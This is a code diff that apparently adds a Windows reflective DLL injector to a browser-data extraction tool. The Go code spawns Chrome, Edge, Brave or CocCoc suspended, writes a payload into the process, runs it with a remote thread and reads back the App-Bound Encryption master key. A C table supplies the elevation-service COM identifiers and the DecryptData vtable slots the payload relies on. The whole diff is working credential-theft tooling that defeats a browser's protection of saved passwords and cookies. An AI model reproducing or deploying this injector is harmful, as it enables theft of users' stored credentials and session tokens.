+#define BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET 0x58 +#define BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET 0x60 + +#define BOOTSTRAP_MARK_MZ_FOUND 0x02 +#define BOOTSTRAP_MARK_IMPORTS_OK 0x05 +#define BOOTSTRAP_MARK_ALLOC_OK 0x06 +#define BOOTSTRAP_MARK_COPIED 0x07 +#define BOOTSTRAP_MARK_RELOCATED 0x08 +#define BOOTSTRAP_MARK_IMPORTS_FIXED 0x09 +#define BOOTSTRAP_MARK_PERMISSIONS 0x0A +#define BOOTSTRAP_MARK_CACHE_FLUSHED 0x0B +#define BOOTSTRAP_MARK_DONE 0xFF + +#define BOOTSTRAP_MARK_ERR_IMPORTS 0xE3 +#define BOOTSTRAP_MARK_ERR_ALLOC 0xE4 + +#ifdef __cplusplus +extern "C" { +#endif + +__declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter); + +#ifdef __cplusplus +} +#endif + +#endif // HBD_ABE_BOOTSTRAP_H diff --git a/crypto/windows/abe_native/com_iid.c b/crypto/windows/abe_native/com_iid.c new file mode 100644 index 0000000..def20a7 --- /dev/null +++ b/crypto/windows/abe_native/com_iid.c @@ -0,0 +1,121 @@ +// SPDX-License-Identifier: Apache-2.0 +#include "com_iid.h" + +// CLSID / IID values migrated from HackBrowserData-injector-old's +// browser_config.hpp and cross-checked against each vendor's Chromium +// fork. Keep the per-entry comments with the GUID source so future +// rotations can be traced. +static const BrowserComIds kBrowsers[] = { + // Chrome Stable + // CLSID: {708860E0-F641-4611-8895-7D867DD3675B} + // v1 IID: {463ABECF-410D-407F-8AF5-0DF35A005CC8} IElevatorChrome + // v2 IID: {1BF5208B-295F-4992-B5F4-3A9BB6494838} IElevator2Chrome + { + "chrome.exe", BROWSER_CHROME_BASE, + { 0x708860E0, 0xF641, 0x4611, { 0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B } }, + { 0x463ABECF, 0x410D, 0x407F, { 0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8 } }, + TRUE, + { 0x1BF5208B, 0x295F, 0x4992, { 0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38 } }, + }, + + // Chrome Beta — shares chrome.exe basename; the first table hit wins, + // so this entry is effectively dead until registry-based channel + // detection lands. Kept for reference. + // CLSID: {DD2646BA-3707-4BF8-B9A7-038691A68FC2} + // v1 IID: {A2721D66-376E-4D2F-9F0F-9070E9A42B5F} + // v2 IID: {B96A14B8-D0B0-44D8-BA68-2385B2A03254} + { + "chrome.exe", BROWSER_CHROME_BASE, + { 0xDD2646BA, 0x3707, 0x4BF8, { 0xB9, 0xA7, 0x03, 0x86, 0x91, 0xA6, 0x8F, 0xC2 } }, + { 0xA2721D66, 0x376E, 0x4D2F, { 0x9F, 0x0F, 0x90, 0x70, 0xE9, 0xA4, 0x2B, 0x5F } }, + TRUE, + { 0xB96A14B8, 0xD0B0, 0x44D8, { 0xBA, 0x68, 0x23, 0x85, 0xB2, 0xA0, 0x32, 0x54 } }, + }, + + // Brave + // CLSID: {576B31AF-6369-4B6B-8560-E4B203A97A8B} + // v1 IID: {F396861E-0C8E-4C71-8256-2FAE6D759CE9} + // v2 IID: {1BF5208B-295F-4992-B5F4-3A9BB6494838} (same as Chrome) + { + "brave.exe", BROWSER_CHROME_BASE, + { 0x576B31AF, 0x6369, 0x4B6B, { 0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B } }, + { 0xF396861E, 0x0C8E, 0x4C71, { 0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9 } }, + TRUE, + { 0x1BF5208B, 0x295F, 0x4992, { 0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38 } }, + }, + + // Microsoft Edge + // CLSID: {1FCBE96C-1697-43AF-9140-2897C7C69767} + // v1 IID: {C9C2B807-7731-4F34-81B7-44FF7779522B} IEdgeElevatorFinal + // v2 IID: {8F7B6792-784D-4047-845D-1782EFBEF205} IEdgeElevator2Final + { + "msedge.exe", BROWSER_EDGE, + { 0x1FCBE96C, 0x1697, 0x43AF, { 0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67 } }, + { 0xC9C2B807, 0x7731, 0x4F34, { 0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B } }, + TRUE, + { 0x8F7B6792, 0x784D, 0x4047, { 0x84, 0x5D, 0x17, 0x82, 0xEF, 0xBE, 0xF2, 0x05 } }, + }, + + // CocCoc Browser + // Service: CocCocElevationService + // CLSID: {77358251-489E-46F6-AAD6-1D41B89FEF01} + // v1 IID: {0E9BCC98-8138-417A-83C3-4D4AAFED6316} IElevatorCocCoc + // v2 IID: {7E26AA1D-1A19-4538-9780-D0B6A1A693E5} IElevator2CocCoc + // (extracted via LoadTypeLibEx on elevation_service.exe) + { + "browser.exe", BROWSER_CHROME_BASE, + { 0x77358251, 0x489E, 0x46F6, { 0xAA, 0xD6, 0x1D, 0x41, 0xB8, 0x9F, 0xEF, 0x01 } }, + { 0x0E9BCC98, 0x8138, 0x417A, { 0x83, 0xC3, 0x4D, 0x4A, 0xAF, 0xED, 0x63, 0x16 } }, + TRUE, + { 0x7E26AA1D, 0x1A19, 0x4538, { 0x97, 0x80, 0xD0, 0xB6, 0xA1, 0xA6, 0x93, 0xE5 } }, + }, + + // Avast Secure Browser + // CLSID: {EAD34EE8-8D08-4CA1-ADA3-64754374D811} + // IID: {7737BB9F-BAC1-4C71-A696-7C82D7994B6F} IAvastElevator + { + "avastbrowser.exe", BROWSER_AVAST, + { 0xEAD34EE8, 0x8D08, 0x4CA1, { 0xAD, 0xA3, 0x64, 0x75, 0x43, 0x74, 0xD8, 0x11 } }, + { 0x7737BB9F, 0xBAC1, 0x4C71, { 0xA6, 0x96, 0x7C, 0x82, 0xD7, 0x99, 0x4B, 0x6F } }, + FALSE, + { 0 }, + }, + + { NULL, BROWSER_UNKNOWN, { 0 }, { 0 }, FALSE, { 0 } }, +}; + +static char ascii_tolower(char c) { + return (c >= 'A' && c <= 'Z') ? (char)(c - 'A' + 'a') : c; +} + +static int iequal_ascii(const char *a, const char *b) { + for (; *a && *b; ++a, ++b) { + if (ascii_tolower(*a) != ascii_tolower(*b)) return 0; + } + return *a == *b; +} + +const BrowserComIds *LookupBrowserByExe(const char *exe_basename) { + if (!exe_basename) { + return NULL; + } + for (const BrowserComIds *p = kBrowsers; p->exe_basename != NULL; ++p) { + if (iequal_ascii(p->exe_basename, exe_basename)) { + return p; + } + } + return NULL; +} + +unsigned int DecryptDataVtblIndex(BrowserKind kind) { + switch (kind) { + case BROWSER_CHROME_BASE: + return 5; + case BROWSER_EDGE: + return 8; + case BROWSER_AVAST: + return 13; + default: + return 0; + } +} diff --git a/crypto/windows/abe_native/com_iid.h b/crypto/windows/abe_native/com_iid.h new file mode 100644 index 0000000..94cc00e --- /dev/null +++ b/crypto/windows/abe_native/com_iid.h @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: Apache-2.0 + +#ifndef HBD_ABE_COM_IID_H +#define HBD_ABE_COM_IID_H + +#define WIN32_LEAN_AND_MEAN +#include + +typedef enum BrowserKind { + BROWSER_UNKNOWN = 0, + BROWSER_CHROME_BASE, // DecryptData at vtable slot 5 + BROWSER_EDGE, // DecryptData at vtable slot 8 + BROWSER_AVAST, // DecryptData at vtable slot 13 +} BrowserKind; + +typedef struct BrowserComIds { + const char *exe_basename; + BrowserKind kind; + GUID clsid; + GUID iid_v1; + BOOL has_iid_v2; + GUID iid_v2; +} BrowserComIds; + +const BrowserComIds *LookupBrowserByExe(const char *exe_basename); + +unsigned int DecryptDataVtblIndex(BrowserKind kind); + +#endif // HBD_ABE_COM_IID_H diff --git a/types/category.go b/types/category.go index 2fb73bb..8661311 100644 --- a/types/category.go +++ b/types/category.go @@ -86,7 +86,7 @@ type BrowserConfig struct { Key string // lookup key: "chrome", "edge", "firefox" Name string // display name: "Chrome", "Edge", "Firefox" Kind BrowserKind // engine type - Storage string // keychain/GNOME label (macOS/Linux); unused on Windows + Storage string // macOS/Linux: keychain/GNOME label. Windows: ABE browser key (triggers reflective injection when populated). UserDataDir string // base browser directory } diff --git a/utils/browserutil/path_windows.go b/utils/browserutil/path_windows.go new file mode 100644 index 0000000..9bdccb9 --- /dev/null +++ b/utils/browserutil/path_windows.go @@ -0,0 +1,116 @@ +//go:build windows + +package browserutil + +import ( + "errors" + "fmt" + "os" + "path/filepath" + + "golang.org/x/sys/windows/registry" +) + +var ErrExecutableNotFound = errors.New("browser executable not found") + +type browserLocation struct { + exeName string + fallbacks []string +} + +var browserLocations = map[string]browserLocation{ + "chrome": { + exeName: "chrome.exe", + fallbacks: []string{ + `%ProgramFiles%\Google\Chrome\Application\chrome.exe`, + `%ProgramFiles(x86)%\Google\Chrome\Application\chrome.exe`, + `%LocalAppData%\Google\Chrome\Application\chrome.exe`, + }, + }, + "chrome-beta": { + exeName: "chrome.exe", + fallbacks: []string{ + `%ProgramFiles%\Google\Chrome Beta\Application\chrome.exe`, + `%ProgramFiles(x86)%\Google\Chrome Beta\Application\chrome.exe`, + `%LocalAppData%\Google\Chrome Beta\Application\chrome.exe`, + }, + }, + "edge": { + exeName: "msedge.exe", + fallbacks: []string{ + `%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe`, + `%ProgramFiles%\Microsoft\Edge\Application\msedge.exe`, + }, + }, + "brave": { + exeName: "brave.exe", + fallbacks: []string{ + `%ProgramFiles%\BraveSoftware\Brave-Browser\Application\brave.exe`, + `%ProgramFiles(x86)%\BraveSoftware\Brave-Browser\Application\brave.exe`, + `%LocalAppData%\BraveSoftware\Brave-Browser\Application\brave.exe`, + }, + }, + "coccoc": { + exeName: "browser.exe", + fallbacks: []string{ + `%ProgramFiles%\CocCoc\Browser\Application\browser.exe`, + `%ProgramFiles(x86)%\CocCoc\Browser\Application\browser.exe`, + `%LocalAppData%\CocCoc\Browser\Application\browser.exe`, + }, + }, +} + +func ExecutablePath(browserKey string) (string, error) { + loc, ok := browserLocations[browserKey] + if !ok { + return "", fmt.Errorf("%w: %q (no lookup entry)", ErrExecutableNotFound, browserKey) + } + + if p, err := appPathsLookup(loc.exeName, registry.LOCAL_MACHINE); err == nil { + return p, nil + } + if p, err := appPathsLookup(loc.exeName, registry.CURRENT_USER); err == nil { + return p, nil + } + + for _, candidate := range loc.fallbacks { + expanded := os.ExpandEnv(candidate) + if fileExists(expanded) { + return expanded, nil + } + } + + return "", fmt.Errorf("%w: %q (registry miss and no fallback match)", + ErrExecutableNotFound, browserKey) +} + +func appPathsLookup(exeName string, root registry.Key) (string, error) { + sub := `SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\` + exeName + k, err := registry.OpenKey(root, sub, registry.QUERY_VALUE) + if err != nil { + return "", err + } + defer k.Close() + + v, _, err := k.GetStringValue("") + if err != nil { + return "", err + } + v = unquote(v) + if !fileExists(v) { + return "", fmt.Errorf("registry path does not exist: %s", v) + } + return filepath.Clean(v), nil +} + +func fileExists(path string) bool { + info, err := os.Stat(path) + return err == nil && !info.IsDir() +} + +func unquote(s string) string { + if len(s) >= 2 && s[0] == '"' && s[len(s)-1] == '"' { + return s[1 : len(s)-1] + } + return s +} diff --git a/utils/injector/arch_windows.go b/utils/injector/arch_windows.go new file mode 100644 index 0000000..e0e431b --- /dev/null +++ b/utils/injector/arch_windows.go @@ -0,0 +1,32 @@ +//go:build windows + +package injector + +import ( + "bytes" + "debug/pe" + "fmt" +) + +type Arch string + +const ( + ArchAMD64 Arch = "amd64" + Arch386 Arch = "386" + ArchUnknown Arch = "unknown" +) + +func DetectPEArch(peBytes []byte) (Arch, error) { + f, err := pe.NewFile(bytes.NewReader(peBytes)) + if err != nil { + return ArchUnknown, fmt.Errorf("parse PE: %w", err) + } + switch f.Machine { + case pe.IMAGE_FILE_MACHINE_AMD64: + return ArchAMD64, nil + case pe.IMAGE_FILE_MACHINE_I386: + return Arch386, nil + default: + return ArchUnknown, nil + } +} diff --git a/utils/injector/pe_windows.go b/utils/injector/pe_windows.go new file mode 100644 index 0000000..ecef778 --- /dev/null +++ b/utils/injector/pe_windows.go @@ -0,0 +1,173 @@ +//go:build windows + +package injector + +import ( + "bytes" + "debug/pe" + "encoding/binary" + "fmt" +) + +func FindExportFileOffset(dllBytes []byte, exportName string) (uint32, error) { + rva, err := findExportRVA(dllBytes, exportName) + if err != nil { + return 0, err + } + f, err := pe.NewFile(bytes.NewReader(dllBytes)) + if err != nil { + return 0, fmt.Errorf("parse PE: %w", err) + } + off, ok := rvaToFileOffset(f, rva) + if !ok { + return 0, fmt.Errorf("RVA 0x%x (%s) has no raw file mapping", rva, exportName) + } + return off, nil +} + +func findExportRVA(dllBytes []byte, exportName string) (uint32, error) { + view, err := loadExportSection(dllBytes) + if err != nil { + return 0, err + } + edOff, err := view.rvaToOff(view.dirRVA) + if err != nil { + return 0, err + } + var ed imageExportDirectory + if err := binary.Read(bytes.NewReader(view.raw[edOff:]), binary.LittleEndian, &ed); err != nil { + return 0, fmt.Errorf("read export directory: %w", err) + } + if ed.NumberOfNames == 0 { + return 0, fmt.Errorf("PE has no named exports") + } + return findNamedExport(view, &ed, exportName) +} + +func rvaToFileOffset(f *pe.File, rva uint32) (uint32, bool) { + for _, s := range f.Sections { + if rva >= s.VirtualAddress && rva < s.VirtualAddress+s.VirtualSize { + return rva - s.VirtualAddress + s.Offset, true + } + } + return 0, false +} + +type exportSectionView struct { + raw []byte + sectBase uint32 + sectSize uint32 + sectName string + dirRVA uint32 + dirSize uint32 +} + +func (v *exportSectionView) rvaToOff(rva uint32) (uint32, error) { + if rva < v.sectBase || rva >= v.sectBase+v.sectSize { + return 0, fmt.Errorf("RVA 0x%x outside section %q", rva, v.sectName) + } + off := rva - v.sectBase + if int(off) >= len(v.raw) { + return 0, fmt.Errorf("RVA 0x%x beyond raw section data", rva) + } + return off, nil +} + +func loadExportSection(dllBytes []byte) (*exportSectionView, error) { + f, err := pe.NewFile(bytes.NewReader(dllBytes)) + if err != nil { + return nil, fmt.Errorf("parse PE: %w", err) + } + oh, ok := f.OptionalHeader.(*pe.OptionalHeader64) + if !ok { + return nil, fmt.Errorf("expected PE32+ (64-bit) image") + } + if len(oh.DataDirectory) == 0 { + return nil, fmt.Errorf("PE has no data directories") + } + exp := oh.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT] + if exp.Size == 0 || exp.VirtualAddress == 0 { + return nil, fmt.Errorf("PE has no export directory") + } + sect := findSectionForRVA(f, exp.VirtualAddress) + if sect == nil { + return nil, fmt.Errorf("export directory RVA 0x%x not in any section", exp.VirtualAddress) + } + raw, err := sect.Data() + if err != nil { + return nil, fmt.Errorf("read section %q: %w", sect.Name, err) + } + return &exportSectionView{ + raw: raw, + sectBase: sect.VirtualAddress, + sectSize: sect.VirtualSize, + sectName: sect.Name, + dirRVA: exp.VirtualAddress, + dirSize: exp.Size, + }, nil +} + +func findNamedExport(view *exportSectionView, ed *imageExportDirectory, name string) (uint32, error) { + namesOff, err := view.rvaToOff(ed.AddressOfNames) + if err != nil { + return 0, err + } + funcsOff, err := view.rvaToOff(ed.AddressOfFunctions) + if err != nil { + return 0, err + } + ordOff, err := view.rvaToOff(ed.AddressOfNameOrdinals) + if err != nil { + return 0, err + } + + for i := uint32(0); i < ed.NumberOfNames; i++ { + nameRVA := binary.LittleEndian.Uint32(view.raw[namesOff+i*4 : namesOff+i*4+4]) + nameOff, err := view.rvaToOff(nameRVA) + if err != nil { + continue + } + if readCString(view.raw[nameOff:]) != name { + continue + } + ord := binary.LittleEndian.Uint16(view.raw[ordOff+i*2 : ordOff+i*2+2]) + fnSlot := funcsOff + uint32(ord)*4 + if int(fnSlot)+4 > len(view.raw) { + return 0, fmt.Errorf("function slot for %q out of range", name) + } + return binary.LittleEndian.Uint32(view.raw[fnSlot : fnSlot+4]), nil + } + return 0, fmt.Errorf("export %q not found", name) +} + +type imageExportDirectory struct { + Characteristics uint32 + TimeDateStamp uint32 + MajorVersion uint16 + MinorVersion uint16 + Name uint32 + Base uint32 + NumberOfFunctions uint32 + NumberOfNames uint32 + AddressOfFunctions uint32 + AddressOfNames uint32 + AddressOfNameOrdinals uint32 +} + +func findSectionForRVA(f *pe.File, rva uint32) *pe.Section { + for _, s := range f.Sections { + if rva >= s.VirtualAddress && rva < s.VirtualAddress+s.VirtualSize { + return s + } + } + return nil +} + +func readCString(b []byte) string { + for i, c := range b { + if c == 0 { + return string(b[:i]) + } + } + return string(b) +} diff --git a/utils/injector/reflective_windows.go b/utils/injector/reflective_windows.go new file mode 100644 index 0000000..2717476 --- /dev/null +++ b/utils/injector/reflective_windows.go @@ -0,0 +1,308 @@ +//go:build windows + +package injector + +import ( + "encoding/binary" + "fmt" + "os" + "syscall" + "time" + "unsafe" + + "golang.org/x/sys/windows" +) + +type Reflective struct { + WaitTimeout time.Duration +} + +const ( + exportName = "Bootstrap" + // 30s covers GoogleChromeElevationService cold-start on first call after boot. + defaultWait = 30 * time.Second + terminateWait = 2 * time.Second + + // Keep in sync with bootstrap.h. + bootstrapMarkerOffset = 0x28 + bootstrapKeyStatusOffset = 0x29 + bootstrapKeyOffset = 0x40 + bootstrapKeyLen = 32 + bootstrapKeyStatusReady = 0x01 +) + +func (r *Reflective) Inject(exePath string, payload []byte, env map[string]string) ([]byte, error) { + if len(payload) == 0 { + return nil, fmt.Errorf("injector: empty payload") + } + if exePath == "" { + return nil, fmt.Errorf("injector: empty exePath") + } + + loaderRVA, err := validateAndLocateLoader(payload) + if err != nil { + return nil, err + } + + patched, err := patchPreresolvedImports(payload) + if err != nil { + return nil, err + } + + restore := setEnvTemporarily(env) + defer restore() + + pi, err := spawnSuspended(exePath) + if err != nil { + return nil, err + } + defer windows.CloseHandle(pi.Process) + defer windows.CloseHandle(pi.Thread) + + terminated := false + defer func() { + if !terminated { + _ = windows.TerminateProcess(pi.Process, 1) + _, _ = windows.WaitForSingleObject(pi.Process, uint32(terminateWait/time.Millisecond)) + } + }() + + remoteBase, err := writeRemotePayload(pi.Process, patched) + if err != nil { + return nil, err + } + + // Resume briefly so ntdll loader init completes before we hijack a thread; + // Bootstrap itself is self-contained but the later elevation_service COM + // call inside the payload relies on a fully-initialized PEB. + _, _ = windows.ResumeThread(pi.Thread) + time.Sleep(500 * time.Millisecond) + + if err := runAndWait(pi.Process, remoteBase, loaderRVA, r.wait()); err != nil { + return nil, err + } + + // Read output before TerminateProcess — after kill the memory is gone. + status, key := readScratch(pi.Process, remoteBase) + + _ = windows.TerminateProcess(pi.Process, 0) + _, _ = windows.WaitForSingleObject(pi.Process, uint32(terminateWait/time.Millisecond)) + terminated = true + + if status != bootstrapKeyStatusReady { + marker := readMarker(pi.Process, remoteBase) + return nil, fmt.Errorf("injector: payload did not publish key (status=0x%02x, marker=0x%02x)", + status, marker) + } + return key, nil +} + +func (r *Reflective) wait() time.Duration { + if r.WaitTimeout > 0 { + return r.WaitTimeout + } + return defaultWait +} + +func validateAndLocateLoader(payload []byte) (uint32, error) { + arch, err := DetectPEArch(payload) + if err != nil { + return 0, fmt.Errorf("injector: detect payload arch: %w", err) + } + if arch != ArchAMD64 { + return 0, fmt.Errorf("injector: only amd64 payload is supported (got %s)", arch) + } + off, err := FindExportFileOffset(payload, exportName) + if err != nil { + return 0, fmt.Errorf("injector: locate %s: %w", exportName, err) + } + return off, nil +} + +func spawnSuspended(exePath string) (*windows.ProcessInformation, error) { + exePtr, err := syscall.UTF16PtrFromString(exePath) + if err != nil { + return nil, fmt.Errorf("injector: exe path: %w", err) + } + si := &windows.StartupInfo{} + pi := &windows.ProcessInformation{} + if err := windows.CreateProcess( + exePtr, nil, nil, nil, + false, + windows.CREATE_SUSPENDED|windows.CREATE_NO_WINDOW, + nil, nil, si, pi, + ); err != nil { + return nil, fmt.Errorf("injector: CreateProcess: %w", err) + } + return pi, nil +} + +func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) { + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + procVirtualAllocEx := kernel32.NewProc("VirtualAllocEx") + procWriteProcessMemory := kernel32.NewProc("WriteProcessMemory") + + remoteBase, _, callErr := procVirtualAllocEx.Call( + uintptr(proc), 0, + uintptr(len(payload)), + uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE), + uintptr(windows.PAGE_EXECUTE_READWRITE), + ) + if remoteBase == 0 { + return 0, fmt.Errorf("injector: VirtualAllocEx: %w", callErr) + } + + var written uintptr + r1, _, callErr := procWriteProcessMemory.Call( + uintptr(proc), remoteBase, + uintptr(unsafe.Pointer(&payload[0])), + uintptr(len(payload)), + uintptr(unsafe.Pointer(&written)), + ) + if r1 == 0 { + return 0, fmt.Errorf("injector: WriteProcessMemory: %w", callErr) + } + if int(written) != len(payload) { + return 0, fmt.Errorf("injector: short write to target (%d/%d)", written, len(payload)) + } + return remoteBase, nil +} + +func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait time.Duration) error { + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + procCreateRemoteThread := kernel32.NewProc("CreateRemoteThread") + + entry := remoteBase + uintptr(loaderRVA) + hThread, _, callErr := procCreateRemoteThread.Call( + uintptr(proc), + 0, 0, entry, 0, 0, 0, + ) + if hThread == 0 { + return fmt.Errorf("injector: CreateRemoteThread: %w", callErr) + } + defer windows.CloseHandle(windows.Handle(hThread)) + + _, _ = windows.WaitForSingleObject(windows.Handle(hThread), uint32(wait/time.Millisecond)) + return nil +} + +func readScratch(proc windows.Handle, remoteBase uintptr) (status byte, key []byte) { + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + procReadProcessMemory := kernel32.NewProc("ReadProcessMemory") + + var sb [1]byte + var n uintptr + r, _, _ := procReadProcessMemory.Call( + uintptr(proc), + remoteBase+uintptr(bootstrapKeyStatusOffset), + uintptr(unsafe.Pointer(&sb[0])), + 1, + uintptr(unsafe.Pointer(&n)), + ) + if r == 0 { + return 0, nil + } + status = sb[0] + if status != bootstrapKeyStatusReady { + return status, nil + } + + buf := make([]byte, bootstrapKeyLen) + r, _, _ = procReadProcessMemory.Call( + uintptr(proc), + remoteBase+uintptr(bootstrapKeyOffset), + uintptr(unsafe.Pointer(&buf[0])), + uintptr(bootstrapKeyLen), + uintptr(unsafe.Pointer(&n)), + ) + if r == 0 || int(n) != bootstrapKeyLen { + return status, nil + } + return status, buf +} + +func readMarker(proc windows.Handle, remoteBase uintptr) byte { + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + procReadProcessMemory := kernel32.NewProc("ReadProcessMemory") + var b [1]byte + var n uintptr + r, _, _ := procReadProcessMemory.Call( + uintptr(proc), + remoteBase+uintptr(bootstrapMarkerOffset), + uintptr(unsafe.Pointer(&b[0])), + 1, + uintptr(unsafe.Pointer(&n)), + ) + if r == 0 { + return 0 + } + return b[0] +} + +// patchPreresolvedImports writes five pre-resolved Win32 function pointers +// into the payload's DOS stub so Bootstrap skips PEB.Ldr traversal entirely. +// Validity relies on KnownDlls + session-consistent ASLR (kernel32 and ntdll +// share the same virtual address across processes in one boot session). +func patchPreresolvedImports(payload []byte) ([]byte, error) { + if len(payload) < 0x68 { + return nil, fmt.Errorf("injector: payload too small for pre-resolved import patch") + } + + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + ntdll := windows.NewLazySystemDLL("ntdll.dll") + + pLoadLibraryA := kernel32.NewProc("LoadLibraryA").Addr() + pGetProcAddress := kernel32.NewProc("GetProcAddress").Addr() + pVirtualAlloc := kernel32.NewProc("VirtualAlloc").Addr() + pVirtualProtect := kernel32.NewProc("VirtualProtect").Addr() + pNtFlushIC := ntdll.NewProc("NtFlushInstructionCache").Addr() + + if pLoadLibraryA == 0 || pGetProcAddress == 0 || pVirtualAlloc == 0 || + pVirtualProtect == 0 || pNtFlushIC == 0 { + return nil, fmt.Errorf("injector: failed to resolve one or more pre-resolved imports") + } + + patched := make([]byte, len(payload)) + copy(patched, payload) + + writeAddr := func(off int, addr uintptr) { + binary.LittleEndian.PutUint64(patched[off:off+8], uint64(addr)) + } + writeAddr(0x40, pLoadLibraryA) + writeAddr(0x48, pGetProcAddress) + writeAddr(0x50, pVirtualAlloc) + writeAddr(0x58, pVirtualProtect) + writeAddr(0x60, pNtFlushIC) + + return patched, nil +} + +// setEnvTemporarily mutates the current process's env; NOT concurrency-safe. +// Callers must serialize Inject calls. +func setEnvTemporarily(env map[string]string) func() { + if len(env) == 0 { + return func() {} + } + + type prev struct { + key string + value string + set bool + } + saved := make([]prev, 0, len(env)) + for k, v := range env { + old, existed := os.LookupEnv(k) + saved = append(saved, prev{key: k, value: old, set: existed}) + _ = os.Setenv(k, v) + } + + return func() { + for _, p := range saved { + if p.set { + _ = os.Setenv(p.key, p.value) + } else { + _ = os.Unsetenv(p.key) + } + } + } +} diff --git a/utils/injector/strategy.go b/utils/injector/strategy.go new file mode 100644 index 0000000..56e9b20 --- /dev/null +++ b/utils/injector/strategy.go @@ -0,0 +1,5 @@ +package injector + +type Strategy interface { + Inject(exePath string, payload []byte, env map[string]string) ([]byte, error) +}